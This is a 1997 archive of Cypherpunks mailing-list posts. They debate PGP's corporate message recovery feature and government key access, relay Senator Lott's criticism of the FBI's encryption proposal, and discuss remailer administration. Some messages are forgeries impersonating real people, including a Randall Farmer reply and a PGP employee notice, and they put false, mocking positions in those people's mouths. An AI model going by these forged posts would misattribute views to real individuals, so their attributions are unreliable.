From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Fri, 24 Oct 1997 11:06:18 +0800
To: rfarmer@HiWAAY.net
Subject: Re: PRZ Announcement
In-Reply-To: <Pine.OSF.3.96.971023202351.6541A-100000@fly.HiWAAY.net>
Message-ID: <34500C05.7D6F@HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Some lame forger pretended Randall Farmer wrote:
 
> On Thu, 23 Oct 1997, there's no way in nine hells that Phillip R. Zimmermann
> could have wrote:
> ...
> >   However, I have reassessed my views of who truly has a right
> > to control access to privacy and have come to the conclusion
> > that privacy is too important an issue to be left in the hands
> > of the individual, with the obvious potential for misuse.
> 
> Hmm...I haven't checked any signatures or headers yet, but something tells me
> that this ain't PRZ. For example, the Organization: header refers to Orwell's
> 1984 as a "blueprint"...forget the signatures (just got a message saying they
> match -- either that person's lying, "they" cracked his key, or it's some
> detail that has the program using a different key/ignoring some text), it is
> psychologically impossible for someone to go from privacy advocate to
> 1984-as-a-blueprint that quick.
> 
> ---------------------------------------------------------------------------

  The above is a lame forgery by some troublemaker, and only 
serves to underscore PRZ's new position, namely, that access
to privacy should be supervised by people who have shown that
they have the maturity to act responsibly, as evidenced by
their success in a corporate atmosphere.

  I am PGP signing this post so that there can be no doubt as
to its source and authenticity.
  Cypherpunks list subscribers should be more careful about
checking signatures before believing everything they read.

Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFAK/BpRm26Z4YsSEQIA0wCeJZ7R9w/XfDuE0HMo+eP/0ihYOykAoNef
Gt1hIbRHpYtJ1jp/79hWZl0G
=E9PX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Fri, 24 Oct 1997 04:09:23 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: PGP Employee on MKR
Message-ID: <199710231945.VAA05198@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP 
> AWAY FROM GAK. FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT 
> IS ONE STEP AWAY FROM GAK! FORCING ENCRYPTION TO MULTIPLE KEYS FOR 
> ONE RECIPIENT IS ONE STEP AWAY FROM GAK!! FORCING ENCRYPTION TO 
> MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP AWAY FROM GAK!! 
> !!!*FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE 
> STEP AWAY FROM GAK*!!!

Mark, just remove the self signature on the user key.  The message
recovery key packet goes away!  That's all you have to do.  Is that
so tough?  This big threat, the dangerous CMR key, turns out to take
two seconds of user actions to be destroyed.  Something this easy to
turn off will never be good enough for GAK.

People say, "Oh, but then the government will make everybody run the
policy enforcer and reject any mail not encryped to the government."

First, if they were going to do this, they could do it with old versions
of PGP too.  Multiple recipients have been around practically forever.

Second, it's a ridiculous idea which ignores how email works.  More and
more people are running systems at home which could send and receive
SMTP mail.  The trend is towards home servers which support the multiple
home computers people will have in the next decade.  There's no way to
make those people run filters!

People say, "Oh, but they'll make it illegal to receive mail at home
without going through an ISP."  I'm serious, this has actually been
suggested on this list.  It has to be suggested, because it's the only
way this incredibly stupid scenario could be made to work.  I can only
assume that people are blinded by emotions or they wouldn't suggest such
a bizarre idea.

Making it illegal to implement probably the most widely used internet
protocol package (email) would be a totally unprecedented, invasive,
unjustifiable and unenforcable intervention by government.  If the only
way the government can enforce GAK is by making it illegal for people to
receive email through paths which don't pass through government filters
we can all rest easy, because it will never happen.

Even for the cases where filtering is done (like businesses), there are
easy countermeasures, described by no other than Jon Callas, PGP's chief
scientist!  Why would he say this if there were a massive conspiracy to
enable GAK?  He's also the one who explained the point above about the
self signature.  He has suggested two other easy workarounds:

Modify the PGP 5.0 source to put a fake recipient block on it.  How many
companies release their source so that you could do this?

Or superencrypt to the real end user, like you suggested in your scheme.
Why is this OK as a privacy workaround for your idea but it doesn't
count for PGP?

Then people say, "Oh, but PGP shouldn't have written the SMTP filter
anyway (or at least they shouldn't have put that one policy in) because
it would make it easier for the government to make everybody use it."

Ignoring all the considerations above about what a stupid idea this is,
the fact is that a simple filter like this is incredibly easy to write.
I'm sure a skilled Perl hacker like Adam Back could put together something
to check that a PGP message is encrypted to a desired key in a few hours.
There are already Perl scripts out there to help parse PGP messages.  You
just have to look at the recipients and compare with the key you want to
see.

The existence of such a filter is totally insignificant in the big
picture.  If we are ever forced into a GAK system and filtering turns
out to be a part of the picture, it will be trivial for such filters to
be created.  PGP's SMTP product will not make any difference one way or
the other.

The fact is, nobody has come up with a scenario where PGP's CMR feature
can be turned into GAK in any practical way.  They have to assume that all
kinds of changes and additions are made - inability to remove CMR keys,
forcing everyone to run SMTP filters, making it illegal to receive email
at home, preventing people from implementing clients with workarounds,
changing the technology to make it harder to implement workarounds
using binding cryptography.  Any system can be turned into GAK if you're
allowed to postulate these kinds of changes.  And the fact is that every
GAK system so far designed can be trivially defeated.

The big GAK danger has always been that the encryption manufacturers
would release GAK-only versions of their software, so that you have a
choice between an easy to use system with GAK support, or a difficult
and balky product like PGP 2.6.2, distributed via underground means and
with GAK workarounds.  Now at last you can be sure that even if the very
worst happens, you will at least have the convenience and ease of use of
PGP 5.0 as the GAK disabled product, via a non-GAK international version.
This doesn't have anything to do with PGP's policies or motives; it is
strictly because of PGP 5.0's source distribution, which will make it
easy for cypherpunks to modify it to look compliant with GAK while using
superencryption or some other technology to avoid it.

No longer will it be a choice between convenient GAK or clumsy non-GAK,
opening the latter option only to cypherpunks and hackers.  Now people
opposed to GAK will be guaranteed an option of making their software at
least as easy to use as PGP 5.0.  If source code becomes available for
PGP 5.5, that will raise the guaranteed ease of use of non-GAK software
even further (by all accounts, 5.5 has an even better interface than 5.0).

The existence of these products in source code form will forever stand
as a barrier to any hope to coax (most) people into using GAK software
by forcing it into built-in products, leaving the alternative of non-GAK
software only to a tiny minority.  This in itself should monkey wrench
any government plans for requiring GAK.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Marc J. McArdle" <markm@pgp.com>
Date: Fri, 24 Oct 1997 12:17:21 +0800
To: rfarmer@HiWAAY.net
Subject: Questionable Authenticity / Re: PRZ Announcement
In-Reply-To: <Pine.OSF.3.96.971023202351.6541A-100000@fly.HiWAAY.net>
Message-ID: <34501ADC.504E@pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

In order to clear up some confusion in regard to recent posts to
the cypherpunks and coderpunks lists, I would like to remind PGP
users that the only way to truly check the authenticity of any
message is by verifying the PGP signature of a message with the
copy on the PGP Key Server.

Now that we have Key Server technolgy fully developed, all of
the paranoid warnings in the original PGP documentation no longer
apply, as long as a person takes the time to compare message
signatures to the original keys held on the PGP Key Server.

Since PRZ sometimes spells his first name with _one_ 'l' and
sometimes with _two_, it can be confusing. Likewise, his
occasional spelling of his last name with _one_ 'n' and then
with _two_ on other occassions.
I vary the spelling of my own name--between 'Marc' and 'Mark',
and occasionally, 'Marck'--but as long as you can verify my
middle digital signature, you can be assured it is me sending
the message.

Please distribute this message as widely as possible, so that
PGP users realize that adhering to the principles espoused in
the original PGP documentation only makes us all look like a
bunch of paranoid lunatics.

Marck
~~~~~
"I can put my dick in my ear...can you?"

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNFAZVxurK3YPheUYEQLhQwCdHlpQi3QrVchZu0pfHGWcTlb7TXEAoI/R
eeFnnXIvATOoSbAFmUVnmis9
=3MQh
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Fri, 24 Oct 1997 04:09:40 +0800
To: mark@unicorn.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <877607187.26935.193.133.230.33@unicorn.com>
Message-ID: <Pine.BSF.3.96.971023211502.3688C-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



I have watched this silly debate for some time now. PGP pulled an awsome
hack on corporate America, bringing strong crypto to thousands of
corporate drones,  while Cypherpunks, the crypto elite, seems incapable of  
reponding with anything other than to engage in frenzied mutual
masturbation fueld by GAK fantasies.

This is sad. Very sad.

--Lucky

On Thu, 23 Oct 1997 mark@unicorn.com wrote:

> 
> 
> A PGP Employee wrote:
> >> Unfortunately these people just don't get it. Corporations refused
> >> to buy 5.0 because it did not have any way for the corps to get at
> >> email encrypted to their employees. There are some very legitimate
> >> uses of this, such as when an employee dies and someone else has
> >> to take over for them.
> 
> No, PGP Inc 'just don't get it'. I'm sure that there are plenty of people
> out there who disagree with the entire concept of CMR, and I'm not very
> happy with it myself. But that's not the most important issue here.
> 
> Since this point just doesn't seem to get through to PGP Inc employees, I'm
> going to shout.
> 
> FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP AWAY FROM
> GAK. FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP AWAY 
> FROM GAK! FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE STEP 
> AWAY FROM GAK!! FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT IS ONE 
> STEP AWAY FROM GAK!! !!!*FORCING ENCRYPTION TO MULTIPLE KEYS FOR ONE RECIPIENT 
> IS ONE STEP AWAY FROM GAK*!!!
> 
> Is that clear enough? Do you understand what I (and, apparently, Adam Back
> and others) am saying now? The problem is not so much with the fact that
> you're supporting company needs, but with the way you're doing so.
> 
> >> They also don't seem to realize that you always have the ability
> >> to remove the MRK from your list of recipients.
> 
> Just as government-supported rating schemes are purely voluntary and will
> be so for, oh, I don't know, a couple of years? Once the infrastructure is
> there, we need only an executive order to make it mandatory. If this 
> software ships in its current form and becomes the dominant player in the
> market, in four or five years all keys will be GMR keys with the FBI or
> NSA as one mandatory recipient. You 'privacy zealots' will have created the
> government's surveillance infrastructure. I hope you'll feel proud.
> 
> >> Sometimes I really feel like screaming at these people. _All_ of
> >> the developers at PGP are personal privacy zealots and no one
> >> likes the idea of the MRK. 
> 
> Good. Then reimplement it to avoid giving the government a GAK/GMR
> infrastructure. Yesterday I posted a modified version of PGP's CMR to
> the cypherpunks list which can't be used for GAK because it only encrypts
> to one key; Jon Callas just told me I'd 'redesigned PGP 5.5'. Cool. I've redesigned PGP 5.5 so that it can't support GAK; in that case, please 
> implement it, or accept that you're deliberately choosing to support the 
> thugs in governments around the world and have become part of the problem.
> 
> >> That is why we refuse to make them
> >> required. 
> 
> Just 'mandatory voluntary' for companies which have your SMTP enforcer
> enabled. What's the difference?
> 
> >> Most everyone at PGP has
> >> internalized personal privacy as a cause (actually most had it
> >> before they joined PGP).
> 
> So prove it. Stop working on creating a GMR/GAK infrastructure. The current
> PGP CMR system has numerous problems which many people have pointed out on
> the cypherpunks list, and you'd do better to solve those problems rather 
> than see them in a major New York Times article about '101 Ways PGP 5.5 
> Harms Company Security'. How long will PGP Inc last when it's reputation 
> for providing secure products is in tatters, because it chose to release a product which deliberately reduced company security and opened them to new threats, rather than redesign their CMR to remove these problems?
> 
> The current CMR implementation is bad for us, bad for PGP Inc's commercial
> customers, and bad for PGP Inc. Why is this so hard for you to accept? Why
> ship a bad product when you can fix the problems?
> 
>     Mark
> 
> 


-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 24 Oct 1997 10:26:17 +0800
To: cypherpunks@toad.com
Subject: Senator Lott on Encryption
Message-ID: <1.5.4.32.19971024015535.00b87684@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Excerpt below of statement on encryption policy by Senate Majority 
Leader Lott published in the October 21 Congressional Record.
Full statement at: 

     http://jya.com/lott-crypto.htm  (12K)

----------

Senator Lott:

  During the past month, the FBI has attempted to change the debate by 
proposing a series of new mandatory controls on the domestic sale and 
use of encryption products. Let me be clear. There are currently no 
restrictions on the rights of Americans to use encryption to protect 
their personal financial or medical records or their private e-mail 
messages. There have never been domestic limitations, and similarly, 
American businesses have always been free to buy and use the strongest 
possible encryption to protect sensitive information from being stolen 
or changed. But now, the FBI proposes to change all that.

  The FBI wants to require that any company that produces or offers 
encryption security products or services guarantee immediate access to 
plain text information without the knowledge of the user. Their 
proposal would subject software companies and telecommunications 
providers to prison sentences for failure to guarantee immediate access 
to all information on the desktop computers of all Americans. That 
would move us into an entirely new world of surveillance, a very 
intrusive surveillance, where every communication by every individual 
can be accessed by the FBI.

  Where is probable cause? Why has the FBI assumed that all Americans 
are going to be involved in criminal activities? Where is the 
Constitution?

  And how would this proposal possibly help the FBI? According to a 
forthcoming book by the M.I.T. Press, of the tens of thousands of cases 
handled annually by the FBI, only a handful have involved encryption of 
any type, and even fewer involved encryption of computer data. Let's 
face it--despite the movies, the FBI solves its cases with good old-
fashioned police work, questioning potential witnesses, gathering 
material evidence, and using electronic bugging or putting microphones 
on informants. Restricting encryption technology in the U.S. would not 
be very helpful to the FBI.

  The FBI proposal won't work. I have talked with experts in the world 
of software and cryptography, who have explained that the technology 
which would provide compliance with the FBI standard simply does not 
exist. The FBI proposal would force a large unfunded mandate on our 
high technology firms, at a time when there is no practical way to 
accomplish that mandate.

  Rather than solve problems in our export policy, this FBI proposal 
would create a whole new body of law and regulations restricting our 
domestic market.

  This and similar proposals would also have a serious impact on our 
foreign market. Overseas businesses and governments believe that the 
U.S. might use its keys to computer encryption systems to spy on their 
businesses and politicians. Most U.S. software and hardware 
manufacturers believe this is bad for business and that nobody will 
trust the security of U.S. encryption products if this current policy 
continues. In fact, this proposal appears to violate the European 
Union's data-privacy laws, and the European Commission is expected to 
reject it this week.

  So, the FBI proposal would: Invade our privacy; be of minimal use to 
the FBI; would require nonexistent technology; would create new 
administrative burdens; and would seriously damage our foreign markets.

  This is quite a list.

  Mr. President, the FBI proposal is simply wrong. I have learned that 
even the administration does not support this new FBI proposal. So why 
does the FBI believe it must now subject all Americans to more and more 
surveillance?

  This independent action by the FBI has created confusion and mixed 
signals which are troublesome for the Senate as it works on this 
legislation. Perhaps the FBI and the Justice Department need to focus 
immediately on a coordinated encryption position.

  Mr. President, I congratulate the members of the House Commerce 
Committee for rejecting this FBI approach by a vote margin of more than 
2 to 1.

-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 24 Oct 1997 10:41:33 +0800
To: cypherpunks@toad.com
Subject: David Kahn on National Encryption Policy
Message-ID: <1.5.4.32.19971024020821.00ba3f74@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



This was published in the October 22 Congressional Record as
part of a statement by Senator Moynihan on the retirement of
NSA Deputy Director William Crowell:

                      [From Newsday, Oct. 6, 1997]

    National Security Official Retires--Helped Refocus Agency's Aims

                            (By David Kahn)

       The National Security Agency has said goodbye to its 
     retiring deputy director, who largely brought the super-
     secret spy organization into its public, post-Cold War 
     posture.
       William P. Crowell was the force behind the establishment 
     of the National Cryptologic Museum, which exhibits what had 
     been some of the nation's deepest secrets; the revelation of 
     the VENONA project, which broke Soviet spy codes early in the 
     Cold War; and the National Encryption Policy, which seeks to 
     balance personal privacy with national security.
       Succeeding Crowell will be Barbara McNamara, who, like 
     Crowell, is a career employee of the agency, which breaks 
     foreign codes and makes American Codes for the United States 
     government.
       McNamara is the second female deputy director of the 
     agency. The first, Ann Z. Caracristi, who served from 1980 to 
     1982, is the sister of the late Newsday photographer Jimmy 
     Caracristi.
       More than 500 present and past members of the agency 
     attended Crowell's recent retirement ceremony at its glossy, 
     triple-fenced headquarters at Fort Meade, Md. They applauded 
     as he was presented with awards for his intelligence and 
     executive services and with a folded American flag that had 
     flow over the agency.
       They laughed as a picture, claimed to be his retirement 
     portrait, was unveiled: It was a photograph of Crowell, 
     notorious for his love of motorcycles, astride his fancy 
     bike. During his acceptance speech, Crowell choked up when he 
     thanked his wife, Judy, a former agency employee and fellow 
     motorcyclist, for her help.
       The agency director, Air Force Lt. Gen. Kenneth Minihan, 
     recited some of the administrative landmarks of Crowell's 
     career.
       Crowell, 58, a native of Louisiana, began in New York City 
     in 1962 as an agency recruiter. In 1969, when he sought an 
     assignment to operations, he became instead an executive 
     assistant to the then-director. He eventually got to 
     operations, where he rose to be chief of W group, whose 
     function remains secret, and then chief of A group, which 
     focused on the then-Soviet Union. After a year in private 
     industry, he rose through other posts to the deputy 
     directorship on Feb. 2, 1994.
       Among his organizational accomplishments were conceiving a 
     crisis action center and linking the agency with other 
     producers of intelligence to improve information exchange.
       His more public initiatives included the museum and the 
     VENONA disclosures, which sought to maintain public support 
     for the agency after the disappearance of the Soviet Union. 
     The National Encryption Policy seeks to enable the agency to 
     read the messages of terrorists and international criminals 
     who use computer-based, unbreakable ciphers while enabling 
     individuals to use good cryptosecurity to preserve such 
     rights as security on the Internet.

----------

See Moynihan's statement:

     http://jya.com/nsa-crowell.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: semprini@theschool.com
Date: Fri, 24 Oct 1997 13:31:52 +0800
To: cypherpunks@toad.com
Subject: Spoofing
Message-ID: <199710240516.WAA23264@everest.brigadoon.com>
MIME-Version: 1.0
Content-Type: text/plain



I don't think I'm out of line here in saying that all this spoofing of 
other users is a bit childish. I'm sure there are better 
things one could find to do with one's time. (Possibly work on 
cracking RSA's 128- bit key?)

--Dylan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Oct 1997 11:46:21 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: ADMIN: lost messages (fwd)
Message-ID: <199710240359.WAA21656@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Jeff Barber <jeffb@issl.atl.hp.com>
> Subject: Re: ADMIN: lost messages (fwd)
> Date: Thu, 23 Oct 1997 13:21:27 -0400 (EDT)

> I understand this rationale.

It isn't a rationale, its reality. This view is not moderated by political
or ideological beliefs but the harsh reality that things don't work the
right way all the time.

> But that doesn't explain what's 
> happening to the missing messages.

Your implied base assumption is that the reason is always the same. I
seriously doubt it.

>  Is there a flaw in the 
> distributor/reflector duplicate-filtering algorithms? 

The process is so simple it ain't funny. I believe, but won't guarantee it,
that we are all using a procmail script to remove duplicate messages, and
that is all the 'distributor/reflector duplicate-filter algorithms' there
is. Unless one of the other repeaters is doing something more complicated
they haven't said. In short, you are under the misconception that this is
something special, it ain't.

SSZ receives traffic from the other remailers at cpunks@ssz.com, just a
normal user account, which has the procmail script filtering duplicates. It
then forwards to cypherpunks@ssz.com, which is the majordomo managed list.
cpunks@ssz.com as well as the rest of the subscribers get their traffic from
here. If the procmail breaks then I get a mail loop at SSZ and my box fills
up and lets me know pretty quickly something is broke because majordomo
recognizes this through the X-loop: and kills them in that case as well as
sending postmaster (me) all kinds of nifty hints. The other sites in this
case still filter duplicates so things still don't run away.

>From my end to add another node is to put it in the procmail script for
outbound and have them add cpunks to their outbound list.

> Or is this
> a problem of certain messages being introduced into a node whose
> product does not get propagated to all subscribers of all the other
> nodes?

Sounds good to me...<shrug>

> Or are you saying that if ssz (say) goes down for a few
> minutes it forgets about any mail it has queued up for its
> counterparts at cyberpass and algebra (et al.)?

No, SSZ has full inbound and outbound traffic queing for up to 4 days
or the hard drive fills up here and at my ISP.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


ps The ISDN was apparently moved to a new pair. It seems rock solid at
   this point...time will tell.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Oct 1997 11:49:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: CDR Operators & interaction...
Message-ID: <199710240408.XAA21717@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I have received a couple of pieces of mail that concern me. The content
seems to indicate that people have one or both of two basic misconceptions
about the CDR:

 -  The operators do not communicate between ourselves unless one of us
    begins to recieve duplicates or other indications of problems at
    another site. Outside of that we simply don't communicate.

 -  I am NOT in any way the moderator, central clearing house, or in
    any other manner concerned with the operation of the 'network' of
    remailers. I operarate SSZ as a home-based business and the
    CDR is motivated by my personal interest in the various issues
    as well as the fact that it costs nothing extra for me to carry.

The remailer network was initialy instituted by Igor and myself in order to
keep the Cypherpunks mailing list alive after the toad.com announcement that
the mailing list was going away due to the various issue related to the
moderation experiment. The entire point was to create a system such that it
was simple and could not be compromised by any single operator.

Furthermore, if you or anyone you know is interested in joining the CDR as a
remailer node, archive site, mail-news gateway, etc. then send a message to
the list requesting the various operators for feeds. SSZ has a standing
invitation to anyone who desires to have a full-time participant.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 24 Oct 1997 14:25:26 +0800
To: cypherpunks@toad.com
Subject: Re: Spoofing
In-Reply-To: <199710240516.WAA23264@everest.brigadoon.com>
Message-ID: <v03102805b075eabf0941@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:17 PM -0700 10/23/97, semprini@theschool.com wrote:
>I don't think I'm out of line here in saying that all this spoofing of
>other users is a bit childish. I'm sure there are better
>things one could find to do with one's time. (Possibly work on
>cracking RSA's 128- bit key?)

I agree, but I think you'll soon see that any calls for the perpetrator(s)
to cool it will only increase his or her output.

Every year or so we've had some Source of Amusement (his amusement, if not
ours). Consult the archives for who the perpetrators were in past years.

Consult the extended headers on the spoofed messages for clues on who this
year's clown is. (Hint: Look for "Received: from wombat.sk.sympatico.ca" in
the extended headers. Connections to little dogs from Kansas, bad rock
bands from Africa, Jim Beam, Elvis's agent, and chainsaws are readily
apparent.)

There's something about the Cypherpunks list that causes some people to
decide it would be a kewl act of performance art to disrupt it, distract
it, stalk it, and mailbomb it.

And complaining never helps...it only stimulates their performance art juices.

There's a sociology thesis in this for someone.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 24 Oct 1997 12:27:43 +0800
To: "John Smith" <jsmith58@hotmail.com>
Subject: Re: US Senator Lott Criticizes FBI Crypto Plans (fwd)
In-Reply-To: <19971024015327.3587.qmail@hotmail.com>
Message-ID: <v0300781bb075c2727f3d@[204.254.21.122]>
MIME-Version: 1.0
Content-Type: text/plain



To be sure, Lott is one of the good guys on crypto. (So far, at least.) But:

> Let us remember
>>that not everyone in the government is in Louis Freeh's pocket

Remember, the folks not in Freeh's pockets are in the pockets of the
telephone companies or some other rich lobby group. When legislation is at
stake, the needs of industry only occasionally coincide with civil
liberties.

-Declan


At 18:53 -0700 10/23/97, John Smith wrote:
>Senator Lott says:
>
>>Where is probable cause? Why has the FBI assumed that all Americans are
>>going to be involved in criminal activities? Where is the Constitution?
>
>Bravo, Senator Lott!
>
>It is a pleasure to hear a Senator speak out against the FBI's
>plans.  Plus he is basing it on the Constitution as well as
>practical problems.  So many Senators become mouthpieces for the FBI.
>What a pleasant difference.
>
>Senator Lott's words deserve to be widely heard.  Let us remember
>that not everyone in the government is in Louis Freeh's pocket.  With
>people like Senator Lott we can still be confident that Louis Freeh's
>Big Brother plans can be stopped.
>
>"John
>
>______________________________________________________
>Get Your Private, Free Email at http://www.hotmail.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@ganymede.contact.com.sg>
Date: Fri, 24 Oct 1997 00:09:44 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Singaporean control freaks & CMR (Re: puff pieces vs tough crypto issues)
In-Reply-To: <199710221838.TAA04516@server.test.net>
Message-ID: <199710231543.XAA02822@ganymede.contact.com.sg>
MIME-Version: 1.0
Content-Type: text/plain




Hi.  For the sake of sanity and completeness, the following has to be
corrected.

> Declan McCullagh <declan@well.com> writes:
> > The relevance? Another example of Singapore's loony politics. Strict social
> > controls and relative economic freedom. I find it fascinating in light of
> > Net-filtering and other attempts at restricting information flow; if you
> > don't, well, you can always delete it. :)
> 
> The net-filtering and social control aspects of Singapore are very
> interesting.  Seems that somewhere like Singapore might be an earlier
> adopter of mandatory GAK -- social ills have hugely disproportionate
> treatment over there.  I hear (and our Singaporean contributer
> confirms) that chewing gum is illegal, jay walking too.  (Hey you have
> the jay walking laws in the US too don't you?)  (I missed the social
> control aspect of the vote for kewlest public toilet story).

Chewing gum per se is not illegal.  I just cannot buy them from any store
in Singapore.  I can chew to my heart's content.  I can go up north to 
Malaysia, buy a whole month's supply of gum (name your flavour) and bring
it back into Singapore.  

So, what is moronically illegal is that I cannot sell that pack of gum.

Regards.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trei Family <trei@relay-1.ziplink.net>
Date: Fri, 24 Oct 1997 12:17:05 +0800
To: cypherpunks@toad.com
Subject: Did you taken part in a key crack?
Message-ID: <3.0.1.32.19971024001144.007ae680@pop3.ziplink.net>
MIME-Version: 1.0
Content-Type: text/plain



I'm giving a presentation at the RSA Data Security Conference
in January, 1998. The title is "Key Cracking for fun and Profit: The
Year in Review".

The main topic will be the activity spawned by the RSA Secret Key 
Challenges, though I'll include other brute-force and factoring 
efforts, in 1997 or before.

If you have taken part in a key search, and/or have any thoughts 
on the topic you'd like to share, I hope you'll send them to me at 
trei@ziplink.net. 

I'm particularly interested in finding out about some of the 
less-known efforts - for example, the DES effort rumored to have
taken place at SGI, and the early, abortive RC5/56 effort at a
New York site.

Stories, anecdotes, and issues raised by the efforts are all 
welcomed. Responses will be kept confidential if desired.

Thanks,

Peter Trei
trei@ziplink.net

DISCLAIMER: The above are my own views, should not be misconstrued 
to represent those of my employer.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 24 Oct 1997 07:18:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
Message-ID: <199710232308.BAA03552@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Lucky Green wrote:
>I have watched this silly debate for some time now. PGP pulled an
>awsome hack on corporate America, bringing strong crypto to thousands
>of corporate drones, while Cypherpunks, the crypto elite, seems
>incapable of reponding with anything other than to engage in frenzied
>mutual masturbation fueld by GAK fantasies.
>
>This is sad. Very sad.

What is sad is that people who are capable of expositing their beliefs
in a clear and coherent way choose instead to stoop to name calling.

Wouldn't it be more effective to explain exactly how our views are
"silly"?  If what you say makes sense, some of us may even agree with
you.

You describe PGP's achievement as "an awsome hack on corporate
America".  Yet, Jason Bobier, an employee of PGP, Inc. says "_All_ of
the developers at PGP are personal privacy zealots and no one likes
the idea of the MRK."

What is it that has Jason and his friends concerned?  Clearly there
are legitimate concerns and some people inside PGP, Inc. have them
like everyone else.

For that matter, why was it that Phil Zimmermann spoke out against
exactly this sort of product not so long ago?  What was it that
concerned Phil?  Why is this concern no longer relevant to the point
of being "silly"?

While we are at it, why was it that we didn't like Clipper?  After
all, its use was entirely voluntary and it would have disseminated
crypto widely.  In many instances, it would actually be preferable to
'PGP for Business' because the Feds wouldn't be tattling to your
employer if you were considering employment elsewhere or complaining
about your boss.

'PGP for Business' doesn't have the government's key built in, but the
infrastructure is all there.  It will get people accustomed to the
idea that it is reasonable to be under constant surveillance by your
employer, an idea which is easily extended to other listeners.  And
we've already seen members of Congress using 'PGP for Business' to
justify GAK.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

